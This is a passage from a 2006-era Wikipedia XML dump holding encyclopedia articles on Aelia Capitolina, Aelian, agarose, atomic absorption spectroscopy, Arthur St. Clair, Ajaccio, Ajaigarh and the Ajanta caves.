&quot;Aelia&quot; came from Hadrian's ''[[Roman naming convention|nomen gentile]]'', ''[[Aelius]]'', while &quot;Capitolina&quot; meant that the new city was dedicated to ''[[Jupiter (god)|Jupiter]] [[Capitoline Hill|Capitolinus]]'', to whom a temple was built on the site of the [[Jewish temple]]. The establishment of ''Aelia Capitolina'' resulted in the failed [[Bar Kokhba's revolt]] of [[132]]-[[135]].  Jews were forbidden to live in the city.  Roman enforcement of this prohibition continued through the fourth century. The city was without walls, protected by a light garrison of the Tenth legion, during the Late Roman Period. The detachment at [[Jerusalem]], which apparently encamped all over the city’s western hill, was responsible for preventing [[Jew]]s from returning to the city.

The urban plan of Aelia Capitolina was that of a typical [[Ancient Rome|Roman]] town wherein main thoroughfares crisscrossed the [[Urban planning|urban grid]] lengthwise and widthwise. 

The original thoroughfare, flanked by rows of columns and shops, was about 73 feet wide (roughly the equivalent of a present-day six lane highway). The Hadrianic Cardo Maximus of Aelia terminated somewhere in the area of the present David Street.

The Latin name &quot;Aelia&quot; is the source of the Arabic term Iliya (إلياء), an early Islamic name for Jerusalem.

{{1911}}

== See also ==
*[[Judea]]
*[[Iudaea Province]]
*[[Palestine (region) | Palestine]]
*[[Church of the Holy Sepulchre]]
*[[Kingdom of Jerusalem]]
*[[Names of Jerusalem]]

==External links==
* [http://ancientneareast.tripod.com/Aelia_Capitolina.html The History of the Ancient Near East]

[[Category:Archaeological sites in Israel]]
[[Category:Nerva-Antonine Dynasty]]
[[Category:Ancient Jewish Roman history]]
[[Category:Roman sites in Israel]]
[[Category:History of Jerusalem]]

[[fr:Colonia Ælia Capitolina]]
[[he:איליה קפיטולינה]]
[[pt:Aelia Capitolina]]</text>
    </revision>
  </page>
  <page>
    <title>Aelian</title>
    <id>2633</id>
    <revision>
      <id>32378937</id>
      <timestamp>2005-12-22T17:29:36Z</timestamp>
      <contributor>
        <username>GregorB</username>
        <id>179697</id>
      </contributor>
      <minor />
      <comment>{{hndis}}</comment>
      <text xml:space="preserve">The name '''Aelian''' may refer to one of two people:

*[[Aelianus Tacticus]], a Greek military writer of the 2nd century, who lived in Rome
*[[Claudius Aelianus]], a Roman teacher and historian of the 3rd century, who wrote in Greek

{{hndis}}</text>
    </revision>
  </page>
  <page>
    <title>Aelianus Tacticus</title>
    <id>2634</id>
    <revision>
      <id>39511230</id>
      <timestamp>2006-02-14T00:30:24Z</timestamp>
      <contributor>
        <username>BDAbramson</username>
        <id>196446</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] re-categorisation per [[WP:CFD|CFD]]</comment>
      <text xml:space="preserve">'''Aelian''' (Aelianus Tacticus) was a [[Hellenism|Greek]] [[military]] writer of the [[2nd century]] [[Anno domini|AD]], resident at [[Rome]]. He is sometimes confused with the Roman writer [[Claudius Aelianus]].

Aelian's military treatise, ''Taktike Theoria'', is dedicated to [[Hadrian]], though this is probably a mistake for [[Trajan]], and the date AD [[106]] has been assigned to it. It is a handbook of Greek, i.e. [[Macedon]]ian, [[parade (military)|drill]] and [[tactics]] as practised by the [[Hellenistic]] successors of [[Alexander the Great]]. The author claims to have consulted all the best authorities, the chief of which was a lost treatise on the subject by [[Polybius]]. Perhaps the chief value of Aelian's work lies in his critical account of preceding works on the art of [[war]], and in the fulness of his technical details in matters of drill.  

Critics of the [[18th century]]&amp;mdash;[[Guichard Folard]] and the [[Prince de Ligne]]&amp;mdash;were unanimous in thinking Aelian greatly inferior to [[Arrian]], but both on his immediate successors, the [[Byzantine Empire|Byzantine]]s, and later on the [[Arab]]s, (who translated the text for their own use), Aelian exercised a great influence. The emperor [[Leo VI]] incorporated much of Aelian's text in his own work on the military art.  The Arabic version of Aelian was made about [[1350]].  

In spite of its academic nature, the copious details to be found in the treatise rendered it of the highest value to the army organizers of the [[16th century]], who were engaged in fashioning a regular military system out of the semi-[[feudal]] systems of previous generations.  The [[Macedonian phalanx]] of Aelian had many points of resemblance to the solid masses of [[pikemen]] and the [[squadrons]] of [[cavalry]] of the [[Spain|Spanish]] and [[Netherlands|Dutch]] systems, and the translations made in the 16th century formed the groundwork of numerous books on drill and tactics.  

Moreover, his works, with those of [[Xenophon]], Polybius, [[Aeneas Tacticus]] and Arrian, were minutely studied by every soldier of the 16th and [[17th century|17th centuries]] who wished to be master of his profession. It has been suggested that Aelian was the real author of most of Arrian's ''Tactica'', and that the ''Taktike Theoria'' is a later revision of this original, but the theory is not generally accepted.

==References==
*{{1911}}

[[Category:Latin authors]]

[[de:Älianus]]</text>
    </revision>
  </page>
  <page>
    <title>Agarose</title>
    <id>2635</id>
    <revision>
      <id>42064910</id>
      <timestamp>2006-03-03T15:49:37Z</timestamp>
      <contributor>
        <username>Ideru</username>
        <id>321690</id>
      </contributor>
      <minor />
      <comment>[[ja:アガロース]]</comment>
      <text xml:space="preserve">An '''agarose''' is a [[polysaccharide]] [[polymer]] material, generally extracted from [[seaweed]]. The molecules are extremely water-soluble due to their large number of [[hydroxyl]] groups, and the solutions tend to be low-melting point aqueous [[gel|gels]]. Sheets of agarose gels are readily prepared by pouring the warm, liquid solution into a mould, and are frequently used in [[molecular biology]] for the separation of large molecules by [[Agarose gel electrophoresis|electrophoresis]]. A wide range of different agaroses, of varying molecular weights and properties are commercially available for this purpose.

==See also==
*[[Agar]]

[[Category:Polysaccharides]]

[[de:Agarose]]
[[fr:Agarose]]
[[ja:アガロース]]</text>
    </revision>
  </page>
  <page>
    <title>Accounting and Bookkeeping</title>
    <id>2636</id>
    <revision>
      <id>15901031</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Accountancy]]
</text>
    </revision>
  </page>
  <page>
    <title>Atomic absorption spectroscopy</title>
    <id>2637</id>
    <revision>
      <id>35949156</id>
      <timestamp>2006-01-20T13:08:05Z</timestamp>
      <contributor>
        <ip>217.205.231.101</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Atomic absorption spectroscopy.jpg|thumb|250px|Atomic absorption spectroscopy]]
'''Atomic absorption spectroscopy''' in [[analytical chemistry]] is a technique for determining the concentration of a particular metal [[chemical element|element]] within a sample.  Atomic Absorption Spectroscopy can be used to analyse the concentration of over 62 different metals in a solution.

Atomic Absorption Spectroscopy was first developed during the 1950's by a team of Australian chemists, lead by [[Alan Walsh]], working at the [[CSIRO]] (Commonwealth Science and Industry Research Organisation) Division of Chemical Physics, in Melbourne Australia.  Typicaly, the technique makes use of a flame to atomize the sample, but other atomizers such as a graphite furnace are also used.  Three steps are involved in turning a liquid sample into an atomic gas:

#Desolvation &amp;#8211; the liquid [[solvent]] is [[evaporation|evaporated]], and the dry sample remains
#Vaporisation &amp;#8211; the solid sample vaporises to a gas
#Volatilisation &amp;#8211; the compounds making up the sample are broken into free [[atoms]].

The flame is arranged such that it is laterally long (usually 10cm) and not deep. The height of the flame must also be controlled by controlling the flow of the fuel mixture. A beam of [[light]] is focused through this flame at its longest axis (the lateral axis) onto a detector past the flame.  

The light that is focused into the flame is produced by a hollow cathode lamp.  Inside the lamp is a cylindrical metal cathode containing the metal for excitation, and an anode.  When a high voltage is applied across the anode and cathode, the metal atoms in the cathode are excited into producing light with a certain [[emission spectra]].  The type of hollow cathode tube depends on the metal being analysed.  For analysing the concentration of copper in an ore, a copper cathode tube would be used, and likewise for any other metal being analysed.  The [[electron]]s of the atoms in the flame can be promoted to higher orbitals for an instant by absorbing a set quantity of [[energy]] (a quantum). This amount of energy is specific to a particular electron transition in a particular element.  As the quantity of energy put into the flame is known, and the quantity remaining at the other side (at the detector) can be measured, it is possible to calculate how many of these transitions took place, and thus get a signal that is proportional to the concentration of the element being measured.

=== Fuel / oxidant mixtures ===

For a low temperature flame, [[acetylene]] and air is used. A hotter flame can be produced using acetylene and pure [[oxygen]], and an even hotter flame can be attained using [[nitrous oxide]] and acetylene, although this mixture is explosive.

[[Category:Spectroscopy]][[Category:Analytical chemistry]]

=== Background correction methods ===

The narrow linewidths of hollow cathode lamps make spectral overlap rare.  That is, it is unlikely that an absorption line from one element will overlap with another.  Molecular emission is much broader, so it is more likely that some molecular absorption band with overlap with an atomic line.  This can result in artificially high absorption and an improperly high calculation for the concentration in the solution.  Three methods are typically used to correct for this:
* Zeeman correction - A magnetic field is used to split the atomic line into two sidebands (see [[Zeeman effect]]).  These sidebands are close enough to the original wavelenth to still overlap with molecular bands, but are far enough not to overlap with the atomic bands.  The absorption in the presence and absence of a magnetic field can be compare, the difference being the atomic absorption or interest.
* Smith-Hieftje correction (invented by Stanley B. Smith and Gary M. Hieftje) - The hollow cathode lamp is pulsed with high current, causing a larger atom population and self-absorption during the pulses.  This self-absorption causes a broadening of the line and a reduction of the line intensity at the original wavelength.  
* Deuterium lamp correction - In this case, a separate source (a deuterium lamp) with broad emission is used to measure the backround emission.  The use of a separate lamp makes this method the least accurate, but its relative simplicity (and the fact that it is the oldest of the three) makes it the most commonly used method.

==References==

* S. B. Smith, Jr and G. M. Hieftje, Appl. Spectrosc., 1983, 37, 419–424

[[de:Atomspektroskopie]]
[[nl:Atomaire-absorptiespectrometrie]]
[[ru:Атомно-абсорбционный спектрометр]]
[[fi:Atomiabsorptiospektrometri]]
[[sv:Atomabsorptionsspektroskopi]]</text>
    </revision>
  </page>
  <page>
    <title>ACID properties</title>
    <id>2638</id>
    <revision>
      <id>15901033</id>
      <timestamp>2003-01-21T10:40:10Z</timestamp>
      <contributor>
        <username>Markonen</username>
        <id>6652</id>
      </contributor>
      <comment>oops, we missed this one when editing ACID</comment>
      <text xml:space="preserve">#REDIRECT [[ACID]]</text>
    </revision>
  </page>
  <page>
    <title>Arthur St. Clair</title>
    <id>2639</id>
    <revision>
      <id>41543401</id>
      <timestamp>2006-02-28T01:27:36Z</timestamp>
      <contributor>
        <username>Shanel</username>
        <id>301280</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/202.168.58.126|202.168.58.126]] ([[User talk:202.168.58.126|talk]]) to last version by DanielCD</comment>
      <text xml:space="preserve">'''Arthur St. Clair''' ([[March 23]], [[1734]]-[[1736]]?&amp;ndash;[[August 31]] [[1818]]) was the ninth [[President of the Continental Congress]] under the [[Articles of Confederation]], holding office from [[February 2]], [[1787]] to [[October 29]], [[1787]]. He was preceded in office by [[Nathaniel Gorham]] and succeeded by [[Cyrus Griffin]].  He was also a general in the [[Continental Army]] during the [[American Revolution]], and the only territorial governor of [[Ohio]].
[[Image:ArthurStClair.jpeg|left|Portrait of St. Clair]]
St. Clair was born [[Thurso]], [[Caithness]], [[Scotland]] on [[March 23]], sometime between [[1734]] and [[1736]].  He attended the [[University of Edinburgh]] and studied [[medicine]] under the renowned [[anatomy|anatomist]] [[William Hunter (anatomist)|William Hunter]]. In [[1757]], St. Clair purchased a commission in the [[British Army]] and came to America with Admiral [[Edward Boscawen]]'s fleet for the [[French and Indian War]]. He served under General [[Jeffrey Amherst]] at the capture of [[Fortress Louisbourg|Louisburg, Nova Scotia]] on [[July 26]], [[1758]].  On [[April 17]], [[1759]] he received a lieutenant's commission and was assigned to the command of General [[James Wolfe]], under whom he served at the [[Battle of the Plains of Abraham]].

On [[April 16]], [[1762]], he resigned his commission, and in [[1764]] he settled in Ligonier Valley, [[Pennsylvania]], where he purchased land, and erected mills. He was the largest landowner in western Pennsylvania.

In [[1770]] St. Clair became a justice of the court, of quarter sessions and of common pleas, a member of the proprietary council, a justice, recorder, and clerk of the orphans' court, and prothonotary of [[Bedford County, Pennsylvania|Bedford]] and [[Westmoreland County, Pennsylvania|Westmoreland]] counties.

In [[1774]], the colony of [[Virginia]] took claim of the area around [[Pittsburgh, Pennsylvania]], and some residents of western Pennsylvania took up arms to reject them.  St. Clair issued an order for the arrest of the officer leading the Virginia troops. [[Lord Dunmore's War]] eventually settled the boundary dispute. 
==Revolutionary War==
After this event St. Clair broke with the British government and, in January, [[1776]], took a commission in the [[Continental Army]], as a Colonel of Pennsylvania militia ([[3rd Pennsylvania Regiment]]). He was appointed a Brigadier General in August of 1776, and was sent by [[George Washington]] to help organize the [[New Jersey]] militia.  He took part in Washington's crossing of the [[Delaware River]] on [[Christmas]] night [[1776]] before the [[Battle of Trenton]].  Many biographers credit St. Clair with the strategy which led to Washington's capture of [[Princeton, New Jersey]] in the following days.

In April of the same year, St. Clair was sent to defend [[Fort Ticonderoga]].  Unfortunately, his small garrison, could not resist [[John Burgoyne]]'s force in  the [[Saratoga Campaign]].  He was foced to withdraw at the [[Battle of Ticonderoga (1777)|Battle of Ticonderoga]] on [[July 5]], [[1777]]. He was able to withdraw his foces and continue resisting the advance. In [[1778]] he was court martialed for the loss of Ticonderoga. The court exonerated him, and he was returned to duty. St. Clair was at [[Yorktown, Virginia]] when [[Charles Cornwallis]] surrendered.

St. Clair was a member of the Pennsylvania council of censors in [[1783]] and was elected a delegate to the [[Continental Congress]] from [[November 2]], [[1785]] until [[November 28]], [[1787]].  He was President of the United States in Congress assembled when [[Shays' Rebellion]] took place.

==Northwest Territory==
Under the [[Northwest Ordinance]] of [[1787]] which created the [[United States Northwest Territory|Northwest Territory]], General St. Clair was appointed governor of what is now [[Ohio]], [[Indiana]], [[Illinois]], [[Michigan]], along with parts of [[Wisconsin]] and [[Minnesota]].  He named [[Cincinnati, Ohio]] after the [[Society of the Cincinnati]], and it was there that he made his seat. When the territory was divided in [[1800]], he served as governor of the [[Ohio Territory]].  

As Governor he formulated Maxwell's Code, the first laws of the territory.  He also sought to end Native American claims to Ohio land and clear the way for white settlement.  In [[1789]] he succeeded in getting certain Indians to sign the [[Treaty of Fort Harmar]], but many Native leaders had not been invited to participate in the negotiations, or had refused to do so.  Rather than settling the Indian's claims, the treaty provoked them to further resistance in what is sometimes known as the &quot;[[Northwest Indian War]]&quot; (or &quot;Little Turtle's War&quot;). Mutual hostilites led to a campaign by General [[Josiah Harmar]], whose 1,500 militiamen were defeated by the Indians in October [[1790]].

In [[1791]], St. Clair personally led a punitive expedition comprised of militia and two Regular Army regiments.  This force advanced to the location of Indian settlements on the [[Wabash River]], but on [[November 4]] they were routed in battle by a tribal confederation led by [[Miami tribe|Miami]] Chief [[Michikinikwa|Little Turtle]] and Shawnee chief [[Blue Jacket]]. More than 600 soldiers and scores of women and children were killed in the battle, called [[St. Clair's Defeat]], the &quot;Columbia Massacre,&quot; or the &quot;Battle of the Wabash.&quot; It was the greatest defeat of the American army by Native Americans in history. After this debacle, he resigned from the Army at the demand of President George Washington, but he continued to serve as Governor of the Northwest Territory.  

A [[United States Federalist Party|Federalist]], he hoped to see two states made of the Ohio Territory in order to increase Federalist power in Congress. In [[1802]], his partisan opposition to plans for Ohio statehood led President Thomas Jefferson to remove him from office as territorial governor.  He thus played no part in the organizing of the state of Ohio in [[1803]].

St. Clair died in [[Greensburg, Pennsylvania]] on [[August 31]], [[1818]], in poverty, his vast wealth dissipated by liberal gifts and loans, and by business reverses.

A portion of the ''Hermitage'', St. Clair's home in [[Youngstown, Pennsylvania]] was later moved to [[Ligonier, Pennsylvania]] where it is now preserved as a museum.   [[Upper St. Clair, Pennsylvania]], [[St. Clair County, Illinois]] and [[St. Clair County, Missouri]] are named in his honor.

== External links ==

*[http://www.arthurstclair.com/ http://www.arthurstclair.com/]
*[http://www.arthurstclair.com/stclair/ St. Clair's Lineage] - convincing argument that St. Clair was born as Arthur Sinclair on March 23, 1736
*[http://www.ohiohistorycentral.org/entry.php?rec=354 Ohio History Central]
*[http://www.fortligonier.org/hermitag.htm  The Hermitage - home of Arthur St. Clair] 

{{start box}}
{{succession box| title=[[President of the Continental Congress|President of the United States in Congress Assembled]]| before=[[Nathaniel Gorham]]| after=[[Cyrus Griffin]]| years=[[February 2]], [[1787]] &amp;ndash; [[November 4]], [[1787]]}}
{{succession box|title=[[Commanding General of the United States Army|Senior Officer of the United States Army]]|before=[[Josiah Harmar]]|after=[[Anthony Wayne]]|years=1791-1792}}
{{end box}}

[[Category:1734 births|St. Clair, Arthur]]
[[Category:1818 deaths|St. Clair, Arthur]]
[[Category:British Army officers|St. Clair, Arthur]]
[[Category:Continental Army generals|St. Clair, Arthur]]
[[Category:Continental Congressmen|St. Clair, Arthur]]
[[Category:History of Ohio|St. Clair, Arthur]]
[[Category:Scottish-Americans|St. Clair, Arthur]]

[[de:Arthur St. Clair]]
[[fr:Arthur Saint Clair]]</text>
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  </page>
  <page>
    <title>Ajaccio</title>
    <id>2640</id>
    <revision>
      <id>41639176</id>
      <timestamp>2006-02-28T18:42:36Z</timestamp>
      <contributor>
        <username>GrinBot</username>
        <id>411872</id>
      </contributor>
      <minor />
      <comment>robot  Adding: hu</comment>
      <text xml:space="preserve">{{French commune|
nomcommune=Ajaccio|
région=[[Corse]] (capital) |
département=[[Corse-du-Sud]]&lt;br /&gt;(''[[préfecture]]'')  |
arrondissement=Ajaccio|
canton=Chief town of 7 cantons |
insee=2A004 (ex 20004)|cp=20000  |
gentilé=Ajacciens|devise=|
maire=[[Simon Renucci]] |mandat=[[2001]]-[[2008]] |
intercomm=[[Communauté d'agglomération du Pays Ajaccien]] |
longitude=08° 44' 13&quot; E|
latitude=41° 55' 36&quot; N|
alt moy=38 m |alt mini=0 m |alt maxi=787 m |
hectares=8,203 |
km²=82.03 |
sans=52,880 (''Ajacciens'')|date-sans=1999|dens=645 |date-dens=1999}}
{{FRdot|Ajaccio}}
'''Ajaccio''' ([[French language|French]]: ''Ajaccio''; [[Corsican language|Corsican]]: ''Aiacciu''), pronounced &quot;ah-YAH-cho&quot;, is a city ([[commune in France|commune]]) of [[France]]. It is the [[capital]] of the territorial collectivity of [[Corsica]] and the ''[[préfecture]]'' (capital) of the ''[[département in France|département]]'' of [[Corse-du-Sud]].

==Geography==

Ajaccio is located on the west coast of the island of Corsica, 210 m. southeast of [[Marseille]]. It occupies a sheltered position at the foot of wooded hills on the northern shore of the [[Gulf of Ajaccio]]. The harbour lies to the east of the town and is protected on the south by a [[peninsula]].

==History==

The present town of Ajaccio lies about two miles to the south of its original site, from which it was transferred by the [[Genoa|Genoese]] indf [[1492]]. Occupied from [[1553]] to [[1559]] by the French, it again fell to the Genoese after the [[Treaty of Cateau-Cambrésis]] in the later year.  The town finally passed to the [[France|French]] in [[1768]].

==Sights==

The peninsula carries the [[citadel]] and terminates in the Citadel jetty. To the south-west of this peninsula lies the Place Bonaparte, a quarter frequented chiefly by winter visitors attracted by the mild climate of the town. Apart from one or two fine thoroughfares converging on the Place Bonaparte, the streets are mean and narrow and the town has a deserted appearance.

The house in which [[Napoleon I of France|Napoleon I]] was born in [[1769]] is preserved, and his associations with the town are everywhere emphasized by street-names and statues.

==Economy==

Ajaccio has a small manufacturing economy of [[cigar]]s, [[macaroni]], and similar products, and carries on [[shipbuilding]], [[sardine]]-fishing and [[coral]]-fishing. Its exports include timber, citrons, skins, chestnuts and gallic acid.

The port is accessible by the largest ships, but its accommodation is indifferent. In [[1904]] there entered 603 vessels with a tonnage of 202,980, and cleared 608 vessels with a tonnage of 202,502.

==Miscellaneous==

The town is the seat of a [[bishop|bishopric]] dating at least from the [[7th century]]. It has tribunals of first instance and of commerce, training colleges, a communal college, a museum and a library; the three latter are established in the Palais Fesch, founded by [[Cardinal Fesch]], who was born at Ajaccio in [[1763]].

Ajaccio was the birthplace of:
* [[Napoleon I of France|Napoleon Bonaparte]] ([[1769]]–[[1821]]), Emperor of France
* [[Joseph Fesch]] (1763-[[1839]]), [[Cardinal (Catholicism)|cardinal]]
* [[Tino Rossi]] ([[1907]]-[[1983]]), singer, actor
* [[Fred Scamaroni]] ([[1914]]-[[1943]]), WW II Resistance hero
* [[Alizée]] (born [[1984]]), pop singer
* [[Irène Bordoni]] (1895-1953), singer, [[Broadway theatre]] &amp; [[film]] actress


The local football club is [[AC Ajaccio]].

==References==
* {{1911}}

[[Category:Communes of Corse-du-Sud]]
&lt;!-- The below are interlanguage links. --&gt;

[[ca:Ajaccio]]
[[co:Aiacciu]]
[[cs:Ajaccio]]
[[da:Ajaccio]]
[[de:Ajaccio]]
[[es:Ajaccio]]
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[[ko:아작시오]]
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[[ja:アジャクシオ]]
[[no:Ajaccio]]
[[pl:Ajaccio]]
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[[ru:Аяччо]]
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[[zh:阿雅克修]]</text>
    </revision>
  </page>
  <page>
    <title>Ajaigarh</title>
    <id>2641</id>
    <revision>
      <id>41242163</id>
      <timestamp>2006-02-26T00:38:19Z</timestamp>
      <contributor>
        <username>Fuhghettaboutit</username>
        <id>665998</id>
      </contributor>
      <minor />
      <comment>privelages---&gt;privileges</comment>
      <text xml:space="preserve">'''Ajaigarh''', or '''Adjygurh''', is town in [[Panna District]] of [[Madhya Pradesh]] state in central [[India]].

==History==
Ajaigarh was the capital of a [[princely state]] of the same name in [[British India]]. Ajaigarh was founded in [[1765]] by Guman Singh, a [[Bundela]] [[Rajput]] who was the nephew of Raja Pahar Singh of [[Jaitpur]]. Ajaigarh was captured by the British in [[1809]], and became a princely state in the [[Bundelkhand]] Agency of the [[Central India Agency]]. It had an area of 771 mile&amp;sup2; (1997 km&amp;sup2;), and a population of 78,236 in [[1901]]. The rulers bore the title of ''sawai maharaja''. He commanded an estimated annual revenue of about £15,000/-, and paid a tribute of £460/-.  The chief resided at the town of [[Nowgong]], at the foot of the hill-fortress of Ajaigarh, from which the state took its name. This fort, situated on a steep hill, towers more than 800 ft (244 m) above the eponymous township, and contains the ruins of several temples adorned with elaborately carved sculptures. The town was often afflicted by [[malaria]], and suffered severely from famine in [[1868]]-[[1869]] and [[1896]]-[[1897]].

The state acceded to the [[Government of India]] on [[January 1]] [[1950]]; the ruling chief was granted a Privy purse of Rs. 74,700/-, and the courtesy use of his styles and titles. All of these were revoked by the government of [[India]] in [[1971]], at the time when these privileges were revoked from all erstwhile princes. The former princely state became part of the new Indian state of [[Vindhya Pradesh]], and most of the territory of the former state, including the town of Ajaigarh, became part of Panna District, with a smaller portion going to [[Chhatarpur District]]. Vindhya Pradesh was merged into Madhya Pradesh on [[November 1]] [[1956]].

&lt;br clear=&quot;both&quot;&gt;

==The Royal Family tree Of Ajaygarh==

                         Pancham Singh Bundela : 1048-1071(A.D) 
                                |                          
                            Virbhadra Singh       : 1071-1087                              
                                |
                            Karanpal Singh        : 1087-1112
                                |
                            Kinnar Shah           : 1112-1130
                                |
                            Shaukan Dev           : 1130-1152
                                |
                            Nanak Dev             : 1152-1159
                                |
                            Mohanpal Singh        : 1159-1197
                                |
                            Abhaybhupati Singh    : 1197-1215
                                |
                            Arjunpal Singh        : 1215-1231
                                |
                            Virpal Singh          : 1231-1251
                                |
                            Sohanpal Singh        : 1251-1259
                                |
                            Sahjendra Singh       : 1259-1283
                                |
                            Nanak Dev II          : 1283-1307
                                |
                            Prithviraj Singh      : 1307-1339
                                |
                            Ram Singh             : 1339-1375
                                |
                            Ramchandra Singh      : 1375-1384
                                |
                            Mednepal Singh        : 1384-1437
                                |
                            Arjun Dev             : 1437-1468
                                |
                            Malkhan Singh         : 1468-1501
                                |
                            Raja Rudrapratap      : 1501-
                          (First Ruler of Orchha)   
      __________________________|____________________________
Bhartichandra               Madhukarshah               Udayjeet Singh
(Orchha)                     (Orchha)                     (Mahewa)
       _________________________|                            |
    Ramshah                 Virsingh Dev(1605-1626)          |                                                            
   (Banpur)                  (Orchha)                        |
       _________________________|______________________      |
   Pahar Singh             Jujhar Singh           Bhagwan Rao|
(Orchha&amp; Kaniyadana)        (Orchha)                (Datia)  |
                       (Killed by Aurangzeb)                 |
                                _____________________________|
                            Premchandra
                                |
                            Bhagwandas
                                |
                            Champat Rai           : 1635-1641--Ruled Orchha after Jujhar Singh 
                             (Mahewa)                          was killed by Aurangzeb.
                                |
                   [[Maharaja Chhatrasal|Maharajadhiraja Chhatrasal]]     : 1649-1731
                (founder Ruler of many Kingdoms)
     ___________________________|______________________________
 Hirdeshah                   Jagatraj                   Bhartichandra
  (Panna)                    (Jaitpur)                     (Jaso)
    ____________________________|______________________________
 Vir Singh                   Kirat Singh                  Pahar Singh(1758-1765)
    ____________________________|______________________________
Khuman Singh            Guman Singh(1765-1792)              Durg Singh
(Charkari)               (Banda)(No issues)                    |
                                |__________________Son of______|
                            Bhakhat Singh         :b.1792-d.1837&lt;/font&gt;&lt;/a&gt;
                      (Founder ruler of Ajaigarh) 
   _____________________________|_______________________________
                         Madho Singh(R.1837-1849)      Mahipat Singh(R.1849-1853)
                           (No male issue)                     |
                                                               |
                         Ranjore Singh(K.C.I.E)___________Vijay Singh(R.1853-1855)                                          
                           (b.1844 d.1919)             (Died early, fell from horse)      
   _____________________________|______________________________
 Jaipal Singh            Bhopal Singh(b.1866-d.1942)     Pakshapal Singh                      
  (b.                           |
                         Punyapratap Singh        :b.1884-d.1958
   _____________________________|
 Bhupendra Vijay Singh   Devendra Vijay Singh     :b.1913-d.1984
 (Adoption to Jigni)     (Privy Purses,titles abolished)
      __________________________|_________________________________
     |                   Kaushalendra V. Singh                    |
Mahipendra V. Singh       (b.1934-d.1982)                     Surendra V. Singh   
 (b.1935-               (Predeceased his father)          (b.1940-
     |                          |                                 |
Shailesh V. Singh        Ajayraj Singh                   Tarunendra V. Singh
 (b.1969-                  (b.1971-                           (b.1971-    


Courtesy: Tarunendra V. Singh

[[Category: Cities and towns in Madhya Pradesh]]
[[Category:Indian Princely States]]
[[fr:Ajaigarh]]
[[sv:Ajaigarh]]</text>
    </revision>
  </page>
  <page>
    <title>Ajanta</title>
    <id>2642</id>
    <revision>
      <id>40360000</id>
      <timestamp>2006-02-20T01:23:09Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">'''Ajanta ''' takes the name after the village Ajinţhā in [[Aurangabad]] district in the state of [[Maharashtra]] (N. lat. 20 deg.  32' by E. long. 75 deg.  48'). It is celebrated for its [[cave]] art and architecture. As of 1983, the Ajanta Caves have been an [[UNESCO]] [[World Heritage Site]] specifically nominated for the international [[World heritage]] program.
[[Image:Indischer Maler des 6. Jahrhunderts 001.jpg|thumb|300px|right|Fresco from the Ajanta caves]]

==Introduction==

The caves are in a wooded and rugged horseshoe-shaped ravine about 3 1/2 m. from the village of Ajinthā. It is situated in the [[Aurangabad District, Maharashtra|Aurangābād]] district of [[Mahārāşţra]] State in India (106 kilometers away from the city of [[Aurangabad, Maharashtra|Aurangabad]]). The nearest towns are [[Jalgaon|Jalgāon]] (60 kilometers away) and [[Bhusawal|Bhusāwal]] (70 kilometers away). Along the bottom of the ravine runs the river Wāghūr or Waghōrā (from the root ''vyāghra'' in Sanskrit meaning the tiger), a mountain stream. There are 29 (officially numbered by the Archaeological Survey of India) caves, excavated in the south side of the precipitous scarp made by the cutting of the ravine, and vary from 35 to 110 ft. in elevation above the bed of the torrent.

The monastic complex of Ajantā consists of several [[vihara|vihāras]] (monastic halls of residence) and [[chaitya]]-grihas ([[stupa]] monument halls) cut into the mountain scarp in two phases. The first phase is called the [[Hinayana|Hinayāna]] phase (referring to the Lesser Vehicle tradition of Buddhism, when the Buddha was revered symbolically). At Ajantā, cave numbers 9, 10, 12, 13, and 15A (the last one was re-discovered in 1956, and is still not officially numbered) were excavated during this phase. These excavations have enshrined the Buddha in the form of the stupa, or mound. The second phase of excavation started on the site after a lull of over three centuries. This phase is popularly known as the [[Mahāyāna]] phase (referring to the Greater Vehicle tradition of Buddhism, which is less strict and encourages direct depiction of the Buddha through paintings and carvings). Some prefer to call this phase the [[Vakataka|Vākāţaka]] phase after the ruling dynasty of the house of the Vākāţakas of the Vatsagulma branch. The dating of the second phase has been debated among scholars. In recent years a consensus seems to be converging on fifth century dates for all the Mahāyāna phase caves. According to Walter M. Spink, a leading Ajantologist, all the Mahāyāna excavations were carried out from 462 to 480 CE. The caves created during the Mahāyāna phase are the ones numbered 1, 2, 3, 4, 5, 6, 7, 8, 11, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, and 29. Cave 8 was long thought to be a Hinayāna cave, however current research shows that it is in fact a Mahāyāna cave. 

There were two chaitya-grihas excavated in the Hinayāna phase that are caves 9 and 10. Caves 12, 13, and 15A of this phase are vihāras. There were three chaitya-grihas excavated in the Vākāţaka or Mahāyāna phase that are caves 19, 26, and 29. The last cave was abandoned soon after its beginning. Caves 19 and 26 have a rather uncommon arrangement made to the central object of worship wherein the stupa is fronted by an image of the Buddha in standing and seated positions respectively. The rest of the excavations are vihāras: caves 1, 2, 3, 5, 6, 7, 8, 11, 14, 15, 16, 17, 18, 20, 21, 22, 23, 24, 25, 27, and 28.

The vihāras are of various sizes the maximum being about 52 feet. They are often square-shaped. Their excavation exhibits a great variety, some with simple facade, others ornate; some have a porch and others do not. The hall was an essential element of a vihāras. In the Vākāţaka phase, early viharas were not intended to have shrines because they were purely meant to be halls of residence and congregation. Later, shrines were introduced in them in the back walls, which became a norm. The shrines were made to house the central object of reverence that is the image of the [[Buddha]] often seated in the ''dharmachakrapravartana mudra'' (the gesture of teaching). In the caves with latest features, we find subsidiary shrines added on the side walls, porch or the front-court. The facades of many vihāras are decorated with carvings, and walls and ceilings were often covered with paintings.

Changes in [[Buddhist]] thought in the first century BCE had made it possible for the Buddha to be deified and consequently the image of the Buddha as a focus of worship became popular marking the arrival of the Mahāyāna (the Greater Vehicle) sect.

In the past, scholars divided the caves in three groups, but this is now discredited in light of fresh evidence and research. This theory of dating believed that the oldest group of caves dated from [[second century BCE|200 BCE]] to [[third century|CE 200]], the second group belonged, approximately, to the [[sixth century|sixth]], and the third group to the [[seventh century]].

